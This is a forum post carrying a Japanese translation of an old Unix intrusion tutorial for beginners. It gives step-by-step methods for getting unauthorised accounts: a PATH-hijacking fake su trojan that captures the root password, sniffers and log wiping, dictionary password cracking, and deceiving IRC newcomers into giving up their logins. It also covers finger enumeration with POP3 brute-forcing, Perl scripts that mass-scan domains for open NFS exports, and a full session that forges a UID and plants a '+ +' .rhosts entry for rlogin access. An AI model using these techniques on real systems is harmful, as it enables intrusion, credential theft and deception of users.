お子様 UNIX 第3部


第3回 投稿者:掃除人  投稿日:03月07日(土)

   ====================   お子様 UNIX   第3部  =======================

------------------------------------
第2章  スタート(最初のアカウント)
Chapter II
Getting started (your first account)
------------------------------------
最初のアカウントを手に入れる方法はたくさんある。必要なのは数百のアカウント
を生み出す一つの良いアカウントだ。

root を獲得したらスニファーをロードする。TCP スニファーはネットワークのどんな
ログインプロセスでも探しだし、login と password を記録する。システムに出入り
する telnet, ftp, ダイヤルインセッションなど。

それがいくつかのマシンやドメインの小さなネットワークでも 100くらいのパスワード
は手に入る。もし大きなプロバイダなら、世界中の数百のパスワードが手に入る。この
ためには、利用できるシステムの一つのパスワードがいる。もし root が取れそうにな
かったら、パスワードをクラックしてハッカーと別のアカウントと交換したり、shell
アカウントが無いために bot の置き場所を探しているIRCユーザーと交換してもよ
い。root を獲った場所のパスワードは一つでも外に出してはいけない。そのシステム
は自分のために使う。

では最初のアカウントを手に入れよう。

--------------------------------
Section 2A パスワードクラック
Section 2A.
Cracking passwd files
--------------------------------
正統的にハッキングを行いたいなら、システムに招待してくれる一つのパスワードを
手に入れるためにクラックプログラムを走らせる。

システムにログインして root になる exploits が分かったら、そう、root になれた
ら、必要なファイルをネストしたディレクトリに置き、自分の存在を消す。そしてす
べてのログをクリーンにする。さあ、スニファーをロードする準備が整った。

なぜシステムのパスワードのハックを続けるか。24時間以内に多くのパスワードが
手に入るだろう。今、ハックしたマシンだけでなく繋がっている他のマシンも。
もし、root になれないシステムでも時間の浪費ではない。次へ行く。
後でパスワードをクラックして交換できる。

もし、管理者のアカウントがクラックできたら、彼のヒストリーファイルを見る。
彼が root になるときに su コマンドをよく使っているか調べる。もしそうなら、
su トロイが使える。これは root のパスワードを君に教えてくれる。このように
する。

彼のシェルスクリプトを変える。隠しディレクトリ(.term)が良い。他のディレクトリ
より先にパス(path)をサーチするようセットする。偽の su を .term ディレクトリに
置く。彼が su とタイプして、root のパスワードをタイプする。このパスワードは、
/tmp/.elm69 にコピーされ、トロイの su を削除する。そしてパスワードエラーを表
示する。彼は間違えたと思い、もう一度 su をタイプする。しかし、今度は本当の su
が走り、彼はログインする。

このための偽の su プログラムがある。
Fake SU by Nfin8 - i-e
IRC: /msg i-e

1. 君がアクセスしてヒストリーファイルから su を使うと分かったユーザーの
   path を変える。最初に君が偽の su を置いた場所にヒットさせる。
   .term や .elm が良い。

2. su.c の最初の部分を自分が遣う path になっていることを確かめる。この偽
   の su は自分自身を消さなければならない。それで次に本当の su が動く。

3. すべてのファイルをターゲットのディレクトリでコンパイルする。
gcc su.c -o su

su 以外のすべてのファイルを消す。これで終りだ。
 .bash_profile はこのようになっている。

# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
                fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""
export USERNAME ENV PATH

最初の行を PATH=$HOME/.term:$PATH:$HOME/bin に変える。

システム管理者が SU を走らせれば、.termディレクトリの SU−trojan が起動
する。そしてパスワードが間違っていると知らせる。トロイの su は、君のため
に /tmp ディレクトリの隠しファイルに root のパスワードを書き込む。それか
ら、トロイは自分のプログラムを消し、次は本当の su が走るようにする。

管理者のパスワードは、/etc の passwd ファイルの始めの部分にあるだろう。
このようにタイプする。
  more passwd

パスワードファイルに作られた有効なアカウントの最初の2つが管理者のものだと
分かるだろう。時には彼らのディレクトリにパスワードファイルがある。例えば、
   /staff/username

ヒストリーファイルはそれぞれのユーザーのディレクトリにある。これらのファイル
を読み、ユーザーがどんなコマンドを使うか調べる。時には 100以上残っている。
 .bash_history あるいは History ファイルを探す。これは more で読める。
more .bash_history  とタイプする。たぶん、これでも良いだろう。
  more .b*  あるいは単に  more .b (そして TAB を押す)

Ok そろそろ良いパスワードクラッカーが必要になるだろう。アカウントなしにパス
ワードファイルを手に入れる方法は、次の章にある。しかし、パスワードクラックプ
ログラムも必要だ。

必要なものは3つ。

1. パスワードクラックプログラム  Password cracking program
2. 良い辞書                      Good word files
3. パスワードファイル            Password files

最初に使うクラックプログラムは、cracker jack が良いだろう。ウェブ上で簡単に
見つかる。それをダウンロードする。もう少し進んだら unix 用のクラッカーを使
うことにしよう。しかし最初は DOS/OS2 バージョンを使おう。

良い辞書も探さなければいけない。名前の辞書が良い。君もそのうち最も安全でない
パスワードとは、ガールフレンドの名前をつけた男性、ボーイフレンドの名前をつけ
た女性であることを知るだろう。;)  このような辞書を見つける。'familynames' 
'babynames' 'girlsnames' 'boysnames' 'commonpasswords'hackersdict  など ...

crackerjack はこのように使う。
[D:\jack]jack

Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993, The Jackal, Denmark

PWfile(s) : domain.com.passwd
Wordfile  : domain.com.passwd

このようにパスワードファイルを辞書として走らせる。これはすべてのログインに
ログイン名をパスワードとして使う。もし、他人の名前や会社の名前を使っていた
ら、ヒットする。
単語を変化させたい(hash)なら、Crackerjack の DOC を良く読む事。
ハッシングは辞書の大文字と小文字を変えたり、最初や最後に数字や文字を加えた
りする。sandy が 1sandy のように。多くのユーザーがこれを行い更に安全になっ
たと考えていることが分かるだろう。

これがハッシングを行うファイルだ。良く中身を調べると、必要に応じてどのよう
に変更すればよいか分かるだろう。
------------ start of dicthash.bat
@echo off
cls
echo - THIS FILE FOR DOS MACHINES
echo ----------------------------------------------------------------------
jpp -lower %1 | jack -stdin %2
jpp %1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
.........(以下略)

 ......[訳注] jpp で辞書の単語を変化させ、パイプでjackに送っている。
      この操作は john the ripper を使うほうが簡単にできるので省略した。


アカウントなしにパスワードを入手する方法もある。それは次の章で説明する。

------------------------------
セクション 2B  newbe と話す
Section 2B.
Talking to newbe's
------------------------------
あまり手をかけずにアカウントをゲットする他の方法もある。タイトルをハッキングに
関したもので IRC チャンネルを作る。他のチャンネル、例えば
#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii #hackers_hideout
このようなチャンネルにも参加する。
ここですでに shell をすでに持つニュービー(newbe)を探す。あまり良く知らない誰かが
いるものだ。誰かがニュービーの質問を無視したりチャンネルからキックするのを待つ。
 ....君の番だ。

彼と話していることが他人に分からないように彼に /msg を送る。彼に問いかけ、彼を
助けるふりをする。最後に自分がログインしてやってみようと言う。彼に約束してパス
ワードを手に入れる。今や自分のプロセスのスタートだ。もし、そのシステムで root
を手に入れたら、彼に与えたくはないだろう。君がシステムの他のパスワードを嗅ぎ付
ける間は彼に他の餌を与えておく。
これを覚えていたら、自分のアカウントとパスワードを与える時には、このような事が
決して起こらない事を確かめておく。

私は人々が学習する手伝いをしたい。
そこで、私は出会ったほとんどの人には親切にしている。

---------------------------
セクション2C 難しい方法
Section 2C.
The hard way
---------------------------
これはパスワードを手に入れる別の方法だ。大きなシステムのほとんどのユーザーが
安全なパスワードを持たない事がある。shell からこうする。
finger @domainname.com  

[10:35am][/home/ii]finger @starnet.net
[starnet.net]
Login    Name                 Tty   Idle  Login Time   Office     Office Phone
chris    Chris Myers           p2   4:46  Jan 27 11:19
mike     Mike Suter            p1   4:57  Jan 22 16:14
mike     Mike Suter            p5     3d  Jan 16 15:35
root     System Administrator  p3   4:59  Jan 16 10:17
wendt    Catherine Wendt-Bern  p0      3  Jan 21 14:49
[10:35am][/home/ii]

後でログインを試すために、この情報を記録しておく。
chris には、Chris, chris, myers, Myers, chrismyers, etc...を試す。
これもよい。wendt に Catherine catherine

別のコマンドもある。
[10:35am][/home/ii]finger -l @starnet.net
[starnet.net]

Login: mike                             Name: Mike Suter
Directory: /usra/staff/mike             Shell: /bin/csh
On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net
On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox
Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
No Plan.

Login: root                             Name: System Administrator
Directory: /root                        Shell: /bin/csh
On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net
Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
Mail forwarded to:
\chris@admin.starnet.net
#\chris@admin.starnet.net, \mike@admin.starnet.net
No Plan.

Login: wendt                            Name: Catherine Wendt-Bernal
Directory: /usra/staff/wendt            Shell: /bin/csh
On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout
No Plan.

さらに詳細な情報がでる。;)
この方法は根気がいることは知っている...
この試みはログされる事を忘れはいけない。成功して root を獲ったら、ログを
きれいにする。
もし成功したら、このプログラムを使う。
pop3hack.c  (*1)

また、ドメインリストから finger してファイルに cat する perlスクリプトを
書いても良い。それから pop3d を使い username:username でトライする。 (*2)

rs.internic.net に ftp をしてもよい。
domain directory がある。
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

これをダウンロードして getdomail.pl(下記)をターゲットのドメインで走らせる。
"perl getdomain.pl com.zone com >com.all"

これはすべての .COMドメインを com.all ファイルに落とす。
もし、 .EDU でやりたければ、
perl getdomain.pl edu.zone edu >edu.all

これが perl script だ。
getdomain.pl
---- cut here
#!/usr/bin/perl
# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e  or  /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for reading!\n");
my(@lines) = <INFILE>

# Initialize main data structure.
my(%hash) = {};
my($key) = "";

foreach (@lines) {
  $key = (split(/\ /))[0];
  chop($key);
  next if ((($key =~ tr/.//) < 1) || 
            (uc($domain) ne uc(((split(/\./, $key))[-1]))) || 
            ($key =~ m/root-server/i));
  $hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
  print "$_\n";
}

sub usage {
  print("\n\ngetdomain:\n");
  print("Usage: getdomain [inputfile] [search]\n\n");
  print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
  exit(0);
}
  
0;
---- cut here - end of script -----
これを使うには、カットマークで切り取り、getperl.pl という名前で保存する。
chmod +x getdomain.pl で実行できるようにする。
これで準備はできた。


(*1) 長いのいで省略  pop3に l:user,pass:user で Brute force するプログラム。
(*2) telnet にせよ pop3 にせよ一度でも失敗したら、まあログには残るでしょう。
     telnet と pop3 のパスワードが同じでない場合もある。
------------------------------------------
セクション2D  マウントを使う
Section 2D.
using Mount to gain access to unix systems
------------------------------------------
これは難しくはない。そしてマウントできるシステムがあちこちにある。mount は
リモートマシンのドライブを自分のものとして使うようにできる。これでネットワ
ーク上の他のマシンからインストールすることも、単にディレクトリを共有するこ
ともできる。問題は多くの管理者が unix コマンドや setup を良く知っていること
だ。あるいは彼らはただ怠け者で、世界中から write アクセスできることを理解せ
ずにドライブをマウントしているかもしれない。

これを始めるには、まず root アカウントをハックする。リモートのドライブをマ
ウントし、アクセスするにはシステムのパスワードファイルを変更する。そして、
 su コマンドを使う。

Ok  root アクセスできるとしよう。では、はじめよう。
他のシステムがマウントできるかどうかは、showmount コマンドでわかる。

 root アカウントより、
$root> showmount -e wwa.com
mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

Ok,このドメインではうまくいかない。次に行こう...

$root> showmount -e seva.net
Export list for seva.net:
/var/mail                                        pluto.seva.net
/home/user1                                      pluto.seva.net
/usr/local                                       pluto.seva.net,rover.seva.net
/export/X11R6.3                                  rover.seva.net
/export/rover                                    rover.seva.net,pluto.seva.net
/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)

(everyone)に注意。もし、ここから linux をインストールしたいのなら、
これは良い。しかし、ユーザーのディレクトリを開きたいなら、次へ行く。

$root> showmount -e XXXXX.XXX <  うまくいった.... ;)
Export list for XXXXX.XXX:
/export/home (everyone)

こいつは home をマウントしている。ユーザーアカウントは home の外だ。
もう一度良く見る。 ... (everyone)がアクセスできる !

Ok, このセクションでは、何がマウントできるか理解しよう。次のセクションで
どのようにマウントしてハックするかを示す。今のところ、インターネット上の
すべてのドメインをスキャンして、マウント出来るかどうか調べるスクリプトが
使える。そして、それをログする。

このスクリプトには、PHF セクションにあるドメイン・リッパーを使う。必要な
ファイルは、rs.internic.net  からダウンロードする。
これをバックグランドで走らせるには、このコマンドを使う。
  cmount.pl&

どのように、動くか。
このファイルを走らせると、ドメインリストにより showmopunt -e を実行する。
もし、マウントできるドライブがあると、カレントディレクトリに、このような
ファイル名で保存される。
domain.XXX.export 

君はこのファイルを見て、ドライブをマウントするだけだ !

--------------- start of cmount.pl
#!/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);
 
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or 
  die("mountDomains: Cannot open $DomainFilename for input.\n");
  
while (<DOMAINFILE>) {
  chomp($_);
  print "Now checking: $_";

  # Note difference in program output capture from "geturl.pl".  
  open (EXECFILE, "$program $_ |");
  @execResult = <EXECFILE>
  next if (!defined($execResult[0]));
  if ($execResult[0] =~ /^Export/) {
    print " - Export list saved.";
    open (OUTFILE, ">$_.export");
    foreach (@execResult) {
      print OUTFILE;
    }
    close (OUTFILE);
  }
  close(EXECFILE);
  print "\n";
}
  
# We are done. Close all files and end the program.
close (DOMAINFILE);

0;
----------------- end of cmount.pl

Ok, それではドライブをマウントしよう....

 showmount -e domain.com を実行すると、次のように返ってくる。
Export list for domain.com:
/   (everyone)
/p1 (everyone)
/p2 (everyone)
/p3 (everyone)
/p5 (everyone)
/p6 (everyone)
/p7 (everyone)
/var/spool/mail titan,europa,galifrey
/tmp            (everyone)

我々は / をマウントしよう。
 ..そう.... この男は彼のシステムすべてをマウント可能にしている !
$root> mkdir /tmp/mount
$root> mount -nt nfs domain.com:/ /tmp/mount

彼がマウントできる home を持っていたら、コマンドはこうなる。
$root> mount -nt nfs domain.com:/home /tmp/mount

システムのマウントを解除するには、ディレクトリの外にいる事を確かめて、
$root> umount /tmp/mount

まず最初にマウントするディレクトリを作る。これはシステムのどこでも良い。
もしシステムに /mnt があり空なら、これも使える。
Ok 実際はこのようになる。

bash# ls -al /mnt  ;   マウントするディレクトリが空であることを確かめておく
ls: /mnt: No such file or directory ;   ディレクトリがない ;)
bash# mkdir /mnt ;                      では、作ろう..
bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; さあ、アホをマウントしよう ...
bash# cd /mnt ;                                   マウントした場所へ...
bash# ls
TT_DB             home              raddb             share
back              local             radius-961029.gz  www
exec              lost+found        radius-961029.ps
bash#                                    home ディレクトリがある ... oh good ...
bash# cd home
bash# ls -l  ;                           詳細を表示。 ... tom が良さそうだ ;)
total 18
drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
drwxr-xr-x   6 news     news          512 Mar  6  1996 news
drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
drwxr-xr-x   2 302      other         512 Mar  1 10:10 tom
drwxr-xr-x   5 601      daemon        512 Jan 26  1996 viewx
drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file
bash# pico /etc/passwd
tom:x:302:2::/home:/bin/bash ; this should do it ;)
bash# su - tom ; tom のアカウントに su...
bash$ ls -l
total 18
drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
drwxr-xr-x   6 news     news          512 Mar  6  1996 news
drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
drwxr-xr-x   2 tom      other         512 Mar  1 10:10 tom
drwxr-xr-x   5 601      daemon        512 Jan 26  1996 view
drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www

bash$ ; tom の user number が変わった ... 彼の dir は我々のものだ !
bash$ echo + +>>tom/.rhosts  ; 彼のディレクトリに .rhosts を作る。
bash$ ; .rhosts でワイルドカード + + が使われている。
         誰でも彼のアカウントに rlogin できる。
bash$ rlogin xxxxx.xxx  we are tom on our machine, so lets just rlogin plain.
Last login: Fri Mar  7 00:16:03 from xxxxx.xxxxxxxxxx
Sun Microsystems Inc.   SunOS 5.5       Generic November 1995
>  ; そう、我々は入っている !
> ls -al
total 8
drwxr-xr-x   2 tom      group        512 Mar  1 17:10 .
drwxr-xr-x  14 tom      group        512 Jan 24 11:16 ..
-rw-r--r--   1 tom      group        144 Dec 30 15:32 .profile
-rw-r--r--   1 tom      bin            8 Mar 11 08:26 .rhosts
>

今や我々はアクセスできている。さあ、このシステムをハックしよう... 
しかし、それは別のレッスンだ。 Have pun!

    ------------------------------------------------------

[訳者後記]
どうです。そろそろ難しくなったでしょう。分からないところは勉強しましょう。
ここで、しっかり勉強しておいて下さい。なぜなら....
次の章ではがっかりするからだ... わはは。(謎)